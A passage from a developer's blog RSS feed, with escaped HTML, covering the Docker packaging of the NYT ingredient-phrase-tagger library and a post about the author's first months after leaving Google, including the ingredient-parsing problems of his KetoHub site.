&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;comment&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;cooked&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;bacon&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;qty&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;6&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;input&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;6 slices cooked bacon&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;display&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;lt;span class=&amp;#39;qty&amp;#39;&amp;gt;6&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;unit&amp;#39;&amp;gt;slices&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;comment&amp;#39;&amp;gt;cooked&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;name&amp;#39;&amp;gt;bacon&amp;lt;/span&amp;gt;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;unit&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;slice&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It worked!&lt;/p>
&lt;p>Well, it mostly worked. The model failed to identify &amp;ldquo;Cup&amp;rdquo; as the unit of measurement in &amp;ldquo;1 Cup Mozzarella, shredded.&amp;rdquo; The machine learning model apparently thought there was a product called, &amp;ldquo;Cup Mozzarella,&amp;rdquo; and the recipe needed one of those.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/resurrecting-1/cup-mozzarella.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/resurrecting-1/cup-mozzarella_hu_8db036aba61de752.jpg 300w, https://mtlynch.io/resurrecting-1/cup-mozzarella.jpg 550w'
 src="https://mtlynch.io/resurrecting-1/cup-mozzarella.jpg" alt="Picture of Cup Mozzarella product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A product invented by the machine learning model&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;h2 id="making-it-easier">Making it easier&lt;/h2>
&lt;p>I didn&amp;rsquo;t want to go through all of those steps every time I ran the library, so I needed a way to speed up the installation process.&lt;/p>
&lt;p>First, I made &lt;a href="https://github.com/mtlynch/crfpp">my own fork&lt;/a> of the CRF++ repository that included @humem&amp;rsquo;s fix. That provided a convenient copy of CRF++&amp;rsquo;s source that built cleanly on Linux. Then, I collected all of the shell commands I ran into a &lt;code>Dockerfile&lt;/code>:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>FROM ubuntu:16.04
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get update -y &amp;amp;&amp;amp; apt-get upgrade -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get install -y build-essential git python2.7 python-pip ruby
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install CRF++.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN git clone https://github.com/mtlynch/crfpp.git &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">cd&lt;/span> crfpp &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ./configure &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> make &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> make install &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ldconfig &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">cd&lt;/span> ..
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install ingredient-phrase-tagger.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN git clone https://github.com/NYTimes/ingredient-phrase-tagger &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">cd&lt;/span> ingredient-phrase-tagger &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python setup.py install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WORKDIR /ingredient-phrase-tagger
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/resurrecting-1/Dockerfile" download class="download-raw-button">download Dockerfile&lt;/a>
 &lt;/div>


&lt;p>If I want an environment with this library in the future, all I need to do is run these two commands in the directory with the &lt;code>Dockerfile&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker build --tag phrase-tagger .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run -it --rm phrase-tagger /bin/bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Those commands create a Docker container that satisfies all of the ingredient parsing library&amp;rsquo;s dependencies. Within that environment, I can run the &lt;code>roundtrip.sh&lt;/code> script without any errors:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./roundtrip.sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Done!434.32 s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>testing...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>visualizing...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>evaluating...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sentence-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: &lt;span style="color:#3677a9">1487&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: &lt;span style="color:#3677a9">1999&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 74.3871935968
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Word-Level Stats:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> correct: &lt;span style="color:#3677a9">10391&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> total: &lt;span style="color:#3677a9">11450&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> % correct: 90.7510917031
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To make it even easier, I uploaded the container image to &lt;a href="https://hub.docker.com/r/mtlynch/ingredient-phrase-tagger/">Docker Hub&lt;/a> so that all of you at home can use my container with this single command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker run -it --rm mtlynch/ingredient-phrase-tagger:nyt-untouched /bin/bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I recorded the demo below on an Ubuntu system with nothing installed except Docker. I used it to pull down my custom image from Docker Hub, train a machine learning model, and parse a new ingredient:&lt;/p>
&lt;script src="https://asciinema.org/a/CEHqACV35S4UglTvwke0q6DxB.js" id="asciicast-CEHqACV35S4UglTvwke0q6DxB" async>&lt;/script>
&lt;h2 id="onward">Onward&lt;/h2>
&lt;p>The code ran successfully, and my work was reproducible on any system that supported Docker. What was next?&lt;/p>
&lt;p>I hadn&amp;rsquo;t dug into the source yet, but I noticed odd things from running the scripts. Most notably, the usage scripts felt opaque and rigid — training data, file locations, and model parameters were all hard-coded and buried in shell scripts. I wanted the user to have the freedom to tune these values to optimize the model&amp;rsquo;s accuracy.&lt;/p>
&lt;p>Also, did you catch this in the parsed output?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&amp;#34;display&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;&amp;lt;span class=&amp;#39;qty&amp;#39;&amp;gt;2&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;unit&amp;#39;&amp;gt;tablespoons&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;#39;name&amp;#39;&amp;gt;lemon juice&amp;lt;/span&amp;gt;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Why is a machine learning model responsible for structuring ingredient data &lt;em>and&lt;/em> generating HTML? That would be like putting a neurosurgeon in charge of brain surgery &lt;em>and&lt;/em> assembling hospital furniture.&lt;/p>
&lt;p>I would have loved to dive right into the code to make sweeping functional changes, but first I had to perform a critical step: stabilization. I needed to lock in the library&amp;rsquo;s existing behavior so that any changes I made to its functionality were explicit and deliberate.&lt;/p>
&lt;p>I cover that in &lt;a href="https://mtlynch.io/resurrecting-2/">part two of this series&lt;/a>, which describes:&lt;/p>
&lt;ul>
&lt;li>How I added end-to-end tests so that I wouldn&amp;rsquo;t accidentally break anything&lt;/li>
&lt;li>How I configured the tests to run automatically before applying any change to the code&lt;/li>
&lt;li>How I added my standard toolset to the codebase to facilitate maintenance&lt;/li>
&lt;/ul>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;hr>
&lt;p>&lt;em>Cover illustration by Loraine Yow. My fork of the ingredient-phrase-tagger library is available on &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger">GitHub&lt;/a>. I offer a managed service based on this library called &lt;a href="https://zestfuldata.com">Zestful&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Zestful: Month 4</title><link>https://mtlynch.io/retrospectives/2018/07/</link><pubDate>Mon, 02 Jul 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2018/07/</guid><description>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/zestful-data-month-4-shipping-too-late-94ac777256">Zestful Month 4: Shipping Too Late&lt;/a>&lt;/li>
&lt;/ul></description><content:encoded>&lt;p>Prior to February 2019, I published all my retrospectives on &lt;a href="https://www.indiehackers.com">Indie Hackers&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/forum/zestful-data-month-4-shipping-too-late-94ac777256">Zestful Month 4: Shipping Too Late&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>What I've Been Doing Since Quitting My Job</title><link>https://mtlynch.io/since-quitting/</link><pubDate>Tue, 29 May 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/since-quitting/</guid><description>&lt;p>I worked as a software engineer for Google from 2014 to 2018. On February 1st, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job&lt;/a> and formed my own single-person software company.&lt;/p>
&lt;p>That was four months ago, so I thought I&amp;rsquo;d share an update on how things are going.&lt;/p>
&lt;h2 id="whats-it-like-not-having-a-job">What&amp;rsquo;s it like not having a job?&lt;/h2>
&lt;p>That&amp;rsquo;s the most common question people ask. What&amp;rsquo;s it like?&lt;/p>
&lt;p>For the first few days, I kept thinking, &amp;ldquo;Woohoo! I&amp;rsquo;m free!&amp;rdquo; It was like starting a long-awaited vacation and knowing that it could potentially last forever.&lt;/p></description><content:encoded>&lt;p>I worked as a software engineer for Google from 2014 to 2018. On February 1st, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job&lt;/a> and formed my own single-person software company.&lt;/p>
&lt;p>That was four months ago, so I thought I&amp;rsquo;d share an update on how things are going.&lt;/p>
&lt;h2 id="whats-it-like-not-having-a-job">What&amp;rsquo;s it like not having a job?&lt;/h2>
&lt;p>That&amp;rsquo;s the most common question people ask. What&amp;rsquo;s it like?&lt;/p>
&lt;p>For the first few days, I kept thinking, &amp;ldquo;Woohoo! I&amp;rsquo;m free!&amp;rdquo; It was like starting a long-awaited vacation and knowing that it could potentially last forever.&lt;/p>
&lt;p>Now, it just feels normal. Enjoyable, but normal.&lt;/p>
&lt;p>It seems weird to me that I ever had an office job. It&amp;rsquo;s like remembering the experience of high school. &amp;ldquo;I sat listening to people talk for &lt;em>six hours a day&lt;/em>? And then I had to go home and do more work?&amp;rdquo; I know that it happened, but it seems so foreign to me now.&lt;/p>
&lt;p>The best part of quitting has been how much control I have over my time. I structure my day however I want, and there&amp;rsquo;s no friction when I change my schedule. If I feel like going for a run at 3 o&amp;rsquo;clock in the afternoon, I just go for a run. I&amp;rsquo;m not going to miss a meeting or hold up anyone&amp;rsquo;s work.&lt;/p>
&lt;h2 id="doing-things-i-wouldnt-do-otherwise">Doing things I wouldn&amp;rsquo;t do otherwise&lt;/h2>
&lt;p>With so much time that&amp;rsquo;s my own, I find myself more willing to experiment and pursue opportunities that wouldn&amp;rsquo;t have appealed to me when I was an employee.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img align-left" style="max-width: 230px">



 &lt;a href="https://nerdsummit.org/">
 &lt;img
 
 sizes="(min-width: 768px) 230px, 98vw"
 srcset='https://mtlynch.io/since-quitting/nerd-summit_hu_24ab79b1539f992b.jpg 300w, https://mtlynch.io/since-quitting/nerd-summit_hu_bba24156afd0594d.jpg 600w, https://mtlynch.io/since-quitting/nerd-summit_hu_b9007df39c66d223.jpg 800w, https://mtlynch.io/since-quitting/nerd-summit.jpg 900w'
 src="https://mtlynch.io/since-quitting/nerd-summit.jpg" alt="NERD Summit logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>In March, I gave my first ever conference presentation. I adapted my post, &lt;a href="https://mtlynch.io/human-code-reviews-1/">&amp;ldquo;How to Do Code Reviews Like a Human,&amp;rdquo;&lt;/a> and presented it at &lt;a href="https://nerdsummit.org/">NERD Summit&lt;/a>, a newcomer-friendly conference in Western Massachusetts.&lt;/p>













 















&lt;div class="img align-right" style="max-width: 230px">



 &lt;a href="http://talkingdrupal.com">
 &lt;img
 
 sizes="(min-width: 768px) 230px, 98vw"
 srcset='https://mtlynch.io/since-quitting/talking_drupal_logo.png 217w'
 src="https://mtlynch.io/since-quitting/talking_drupal_logo.png" alt="Talking Drupal logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>A few days later, I received an email from &lt;a href="https://twitter.com/stephencross">Stephen Cross&lt;/a>, one of the co-hosts of the &lt;a href="https://www.talkingdrupal.com/">Talking Drupal podcast&lt;/a>. He enjoyed my talk and invited me to &lt;a href="https://www.talkingdrupal.com/166">discuss it further on his podcast&lt;/a>. We had a fun conversation and explored code reviews from angles I had never considered before. I didn&amp;rsquo;t tell Stephen until we stopped recording, but that podcast episode was another significant first for me: my first ever podcast appearance.&lt;/p>
&lt;h2 id="my-quitting-blog-post">My quitting blog post&lt;/h2>
&lt;p>Oddly, my most notable accomplishment since quitting my job has been&amp;hellip; writing a blog post about quitting my job. If you&amp;rsquo;re reading this, chances are that you found my blog because of my February post, &lt;a href="https://mtlynch.io/why-i-quit-google/">&amp;ldquo;Why I Quit Google to Work for Myself.&amp;rdquo;&lt;/a> It attracted 300,000 readers in its first week, dwarfing the record of my previous top post by 6x.&lt;/p>
&lt;p>When the post went live, I spent the entire day just responding to emails, comments, and Twitter messages. It was great! I felt like a celebrity.&lt;/p>
&lt;p>The next day, I continued responding to messages. It didn&amp;rsquo;t bring quite the same rush as the first day, but it still felt good to see all the encouragement and compliments.&lt;/p>
&lt;p>By the third day, I started to feel overwhelmed. I realized that I could spend the next two weeks doing nothing but responding to feedback about my post. Many of my readers were asking what I was working on post-Google. What was I going to say? &amp;ldquo;Well, I&amp;rsquo;ve primarily been focused on the quick dopamine hits I get when I see notifications about that post.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/since-quitting/more-messages.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/since-quitting/more-messages_hu_ce280480cfeb6147.jpg 300w, https://mtlynch.io/since-quitting/more-messages_hu_bb76e17010d259cd.jpg 600w, https://mtlynch.io/since-quitting/more-messages_hu_6a370a8666b47253.jpg 800w, https://mtlynch.io/since-quitting/more-messages.jpg 1024w'
 src="https://mtlynch.io/since-quitting/more-messages.jpg" alt="Me, responding to feedback" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="managing-feedback">Managing feedback&lt;/h2>
&lt;p>One of the people who reached out to me was Stephanie Hurlburt. She&amp;rsquo;s the co-founder of a &lt;a href="https://www.binomial.info/">successful graphics software company&lt;/a> and is well-known in the startup community for her insightful &lt;a href="https://web.archive.org/web/20200708151056/http://stephaniehurlburt.com/blog-archive/">blog posts&lt;/a> and &lt;a href="https://twitter.com/sehurlburt">Twitter threads&lt;/a>.&lt;/p>
&lt;p>She sent me a kind message about the post and offered her availability if I ever wanted advice. I had been following Stephanie for months before she reached out to me, and I knew that she received a high volume of messages. I asked her how she managed them, and she shared this helpful suggestion:&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip;it is 100% okay to take a month or more to respond to someone, and expect a response back. It is even okay to take a year to respond to someone, but maybe don&amp;rsquo;t expect a response back then (they&amp;rsquo;ve probably moved on to other things). So in other words, you don&amp;rsquo;t need to tackle every message as it comes in, you can have a day a month where you just power through them.&lt;/p>
&lt;p>-Stephanie Hurlburt (&lt;a href="https://twitter.com/sehurlburt">@sehurlburt&lt;/a>)&lt;/p>&lt;/blockquote>
&lt;p>Her advice might sound simple, but it was very freeing. I typically respond to people in a day or two, so having a backlog of hundreds of messages and emails made me feel perpetually behind.&lt;/p>
&lt;p>After I spoke to Stephanie, I felt like I had permission to take my time. I shifted my focus back to my software projects but set aside time every few days to answer a specific number of messages like five emails or 10 Twitter messages.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Sidenote&lt;/strong>: Stephanie &lt;em>said&lt;/em> it was okay to delay responses for a month, but she wrote me a thoughtful three-paragraph reply within minutes of my question. It&amp;rsquo;s possible that she&amp;rsquo;s tricking me so that she can maintain her position as the most helpful person on Twitter.
&lt;/div>

&lt;p>Stephanie also pointed out that it&amp;rsquo;s not realistic to respond to every single message. I still feel guilty when I ignore an email, but I found that getting out of the mindset of prompt responses helped me detach a bit and make rational choices about which messages to answer. For example, if someone writes me with questions about &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">finding a blog cartoonist&lt;/a>, that&amp;rsquo;s fun for me to talk about because not many bloggers work with cartoonists. I&amp;rsquo;ll answer that email ahead of one that asks me more general questions about getting hired at Google.&lt;/p>
&lt;h2 id="managing-stress">Managing stress&lt;/h2>
&lt;p>Before quitting, I kept hearing stories about how starting even a small business causes severe stress. I thought, &amp;ldquo;I&amp;rsquo;m sure that&amp;rsquo;s true for &lt;em>them&lt;/em>, but I&amp;rsquo;m going to be spending every day in my pajamas. How stressed will I really be?&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/since-quitting/so-stressed.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/since-quitting/so-stressed_hu_e38785c63af3c6a4.jpg 300w, https://mtlynch.io/since-quitting/so-stressed_hu_13cc30fa2746df33.jpg 600w, https://mtlynch.io/since-quitting/so-stressed_hu_727e9c93579ffc1.jpg 800w, https://mtlynch.io/since-quitting/so-stressed.jpg 1024w'
 src="https://mtlynch.io/since-quitting/so-stressed.jpg" alt="The stresses of my daily life after quitting my job" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>But they were right. I did feel stress. Not about the things they warned me about like money or customers. I was stressing about self-imposed deadlines that nobody else cared about. They gave me more anxiety than any external deadline I ever had at Google.&lt;/p>
&lt;p>The problem was that I took on too many projects. While I was an employee, eight hours a day in the office felt like an eternity. I reasoned that eliminating my hours in the office would give me eternal &lt;em>free&lt;/em> time.&lt;/p>
&lt;p>Tragically, I found myself still limited to the standard 24 hours per day. But I kept saying yes to new opportunities because each one seemed small in isolation. After a few weeks, I had taken on so many little tasks that I wasn&amp;rsquo;t making progress on any of them.&lt;/p>
&lt;p>I&amp;rsquo;m now more conservative about taking on projects. Even if they seem small, it takes a lot of mental energy to simply track them. These days, I limit my focus to this blog and one software project (spoiler alert: they end up intertwining).&lt;/p>
&lt;h2 id="failed-project-space-duck">Failed project: Space Duck&lt;/h2>
&lt;p>My first business idea was to build a service on top of Sia, a decentralized storage platform I&amp;rsquo;ve &lt;a href="https://mtlynch.io/tags/sia">written about frequently&lt;/a>.&lt;/p>
&lt;p>Sia&amp;rsquo;s goal is to make data storage a commodity so that anyone can sell it. It promises prices that are 1/10th of Amazon&amp;rsquo;s or Google&amp;rsquo;s rates. Sia&amp;rsquo;s technology is still under the radar because few people understand how to use it, much less how to build services on top of it.&lt;/p>
&lt;p>I was one of only a few dozen people who understood Sia at a deep enough level to build a business on the platform. If I used that knowledge to enter a market typically limited by bandwidth or storage (e.g., file backup, video streaming), I&amp;rsquo;d have a massive advantage over competitors whose infrastructure costs were 10x higher.&lt;/p>
&lt;p>I didn&amp;rsquo;t know exactly what I wanted to build, but I knew a unique way I could attract users. Few people were discussing Sia, and nobody was writing about it from a developer&amp;rsquo;s perspective. I knew there was a market for technical content because the Sia articles I had written on my personal blog had attracted thousands of readers. I created a blog called &lt;a href="https://blog.spaceduck.io/">Space Duck&lt;/a> and started writing about my exploratory tests on the platform.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 750px">



 &lt;a href="https://blog.spaceduck.io">
 &lt;img
 
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/since-quitting/space-duck-logo_hu_6bc73dd11d09a5d2.png 300w, https://mtlynch.io/since-quitting/space-duck-logo_hu_2170b916fd7c1398.png 600w, https://mtlynch.io/since-quitting/space-duck-logo_hu_ffa7d2fdccd1b7a5.png 800w, https://mtlynch.io/since-quitting/space-duck-logo.png 1024w'
 src="https://mtlynch.io/since-quitting/space-duck-logo.png" alt="Space Duck logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Unfortunately, these tests revealed that Sia was &lt;a href="https://blog.spaceduck.io/load-test-wrapup/#storage-isnt-that-cheap">not as cheap as everyone thought&lt;/a>. At Sia&amp;rsquo;s true price point, there were providers with more stable, feature-rich offerings. Without any practical advantages over other storage providers, Sia was a dead end.&lt;/p>
&lt;h2 id="ketohubs-ingredient-problem">KetoHub&amp;rsquo;s ingredient problem&lt;/h2>
&lt;p>I turned my attention back to &lt;a href="https://mtlynch.io/outsourcing-mvp/">KetoHub&lt;/a>, a website I created last year to help users find recipes for the keto diet.&lt;/p>
&lt;p>One of KetoHub&amp;rsquo;s main features is finding recipes based on ingredients you have. For example, you can search for &lt;a href="https://recipe-search.isitketo.org/?q=%22ground%20beef%22">&amp;ldquo;ground beef&amp;rdquo;&lt;/a> and see 50 different keto-friendly recipes that use it.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/since-quitting/1-lb-ground-beef.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/since-quitting/1-lb-ground-beef_hu_2ab60aad821c1965.png 300w, https://mtlynch.io/since-quitting/1-lb-ground-beef_hu_5ae38a32758b0790.png 600w, https://mtlynch.io/since-quitting/1-lb-ground-beef_hu_e52a735a97f173f5.png 800w, https://mtlynch.io/since-quitting/1-lb-ground-beef.png 1062w'
 src="https://mtlynch.io/since-quitting/1-lb-ground-beef.png" alt="Screenshot of KetoHub results for ground beef" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This type of search is difficult because it requires KetoHub to determine what part of an ingredient&amp;rsquo;s text is relevant. In the screenshot above, the original ingredient was &amp;ldquo;1 pound of ground beef,&amp;rdquo; but KetoHub reduced the search result snippet to &amp;ldquo;Ground beef.&amp;rdquo;&lt;/p>
&lt;p>Throwing away junk words is harder than it looks. I initially solved this by writing lots of rules. One rule was, &amp;ldquo;remove units of measurement.&amp;rdquo; If someone begins typing &amp;ldquo;tab&amp;hellip;&amp;rdquo; then &amp;ldquo;&lt;strong>Tab&lt;/strong>asco&amp;rdquo; is a good match, but &amp;ldquo;2 &lt;strong>tab&lt;/strong>lespoons vinegar&amp;rdquo; is not. Nobody wants to see recipes based on the fact that they involve a tablespoon of something.&lt;/p>
&lt;p>But what about &amp;ldquo;dash?&amp;rdquo; It&amp;rsquo;s an informal unit of measurement (&amp;ldquo;a dash of cinnamon&amp;rdquo;), but there&amp;rsquo;s also a popular seasoning called &lt;a href="https://smile.amazon.com/Mrs-Dash-Natural-Seasoning-Original/dp/B00U9WHH78/">Mrs. Dash&lt;/a>. Okay, I&amp;rsquo;ll refine the rule to, &amp;ldquo;throw away units of measurement unless it&amp;rsquo;s &amp;lsquo;dash&amp;rsquo; preceded by &amp;lsquo;Mrs.&amp;rsquo;&amp;rdquo;&lt;/p>
&lt;p>That rule doesn&amp;rsquo;t always work either. One recipe author apparently felt that Mrs. Dash&amp;rsquo;s marital status was nobody else&amp;rsquo;s business, so he referred to the seasoning as &amp;ldquo;&lt;em>Ms.&lt;/em> Dash.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 726px">



 &lt;a href="https://www.ruled.me/low-carb-corndogs/">
 &lt;img
 
 sizes="(min-width: 768px) 726px, 98vw"
 srcset='https://mtlynch.io/since-quitting/ms-dash_hu_4876ba85bcb915e1.png 300w, https://mtlynch.io/since-quitting/ms-dash_hu_4c4386e363b94f12.png 600w, https://mtlynch.io/since-quitting/ms-dash.png 726w'
